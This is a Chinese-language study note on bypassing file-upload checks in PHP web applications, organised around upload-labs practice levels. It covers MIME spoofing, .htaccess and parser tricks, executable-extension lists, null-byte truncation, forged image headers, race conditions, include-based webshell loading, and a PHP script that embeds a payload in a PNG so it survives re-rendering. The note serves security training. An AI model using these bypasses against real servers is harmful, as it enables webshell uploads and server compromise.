2023/08/10:upload笔记

https://paper.seebug.org/560/

代码相关

1
2
3
4
$_FILES\[‘file’][‘name’] 客户端文件名称
$_FILES\[‘file’][‘type’] 文件的MIME类型
$_FILES\[‘file’][‘size’] 文件大小 单位字节
$_FILES\[‘file’][‘tmp_name’] 文件被上传后再服务器端临时文件名,可以在php.ini中指定

文件上传结束后,默认的被储存在临时文件夹中,这时必须把他从临时目录中删除或移动到其他地方,可使用copy()move_uploaded_file()
可能存在错误使用的函数:empty()、isset()、strpos()、rename()、iconv()、copy()

校验过程

1.客户端javascript检测
(上传文件)
2.服务端MIME检测
3.目录路径检测
4.文件扩展名检测
5.文件内容检测

校验方式与绕过

javascript检测(upload-lab pass 1)

通常验证上传文件的扩展名是否符合验证条件

方法

1.浏览器禁用js
2.F12修改js代码绕过验证
3.使用burp抓包直接提交,绕过js验证

MIME(content-type字段校验)(upload-lab pass 2)

MIME type代表互联网媒体类型,在html文件中可以使用content-type属性表示,描述了文件类型的互联网标准。Response对象通过设置ContentType使客户端浏览器,区分不同种类的数据,并根据不同的MIME调用浏览器内不同的程序嵌入模块来处理相应的数据。

方法

使用Burp截取上传数据包,修改Content-Type的值

文件扩展名检测

方法 1:.htaccess(upload-lab pass 4)

配合Apache的.htaccess文件上传解析漏洞
通过htaccess文件可以实现改变文件扩展名等操作绕过检测

方法 2:解析缺陷绕过(upload-lab pass 18)

Apache的解析漏洞主要特性为Apache是从后面开始检查后缀,按最后一个合法后缀执行,将木马的后缀进行修改为允许上传的类型后,即可成功绕过验证,最终拿到权限。
例如将后缀修改为.7z、.cab、.zip、.bmp

方法 3:目录路径检测解析绕过

例如,将保存文件的相对路径uploadimg/改为uploadimg/1.asp/filename="yijuhua.asp"改为filename="yijuhua.asp/1.jpg",上传文件的名字为yijuhua.asp/1.jpg时服务器会从头部查找查找”.”号,然后查找”/“,如果有则内存截断,原文件会被解析为/yijuhua.asp

方法 4:解析缺陷绕过(与上类似)

例如,将保存文件的相对路径uploadimg/改为uploadimg/1.phpfilename="yijuhua.php"改为filename="yijuhua.jpg",文件的名字为1.php;yijuhua.jpg会作为php解析,原理类似。

方法 5:黑名单绕过

1.使用大小写绕过(针对对大小写不敏感的系统如windows)
2.使用黑名单外的脚本类型,如:php5,asa 和 cer等(IIS默认支持解析.asp,.cdx, .asa,.cer等)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion: .cfm, .cfml, .cfc, .dbm

Flash: .swf

Perl: .pl, .cgi

Erlang Yaws Web Server: .yaws

3.配合操作系统文件命令规则
4.双扩展名之间使用00截断,绕过验证上传恶意代码:test.php%00.jpg
5.超长文件名截断上传(windows 258byte | linux 4096byte)
6.空格及点绕过
7.::$DATA绕过

方法 6:服务端检测文件内容配合文件包含漏洞

如:先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;然后再上传一个php的文件,内容为<?php Include(“上传的txt文件路径”);?>,php文件就会去引用txt文件的内容,从而绕过校验

方法 7:PHP特性(使用数组绕过)

如:file_put_contents()函数的第二个参数,可以是数组;然后,如果代码里用正则匹配 bad word 的时候,对一个数组进行正则匹配没用

方法 8:服务端检测文件头(upload-lab pass 15)

不同文件头(PHP使用getimagesize函数验证):
PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61
在恶意脚本前加上允许上传文件的头标识

方法 8:竞争上传(upload-lab pass 17)

原代码存在逻辑漏洞,如先上传文件,检测不通过后再删除,此时可以使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件

方法 9:二次渲染(upload-lab pass 16)

GIF:
首先将GIF文件与php一句话木马合并,再将上传后的文件下载与合并后的文件对比(如010_Editor),在未被渲染的部分写一句话木马
PNG:
需要脚本构造图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

1.准备png图片
2.在cmd使用php命令执行该脚本生成新png图片
3.使用新图片上传
4.在文件包含漏洞处进行传参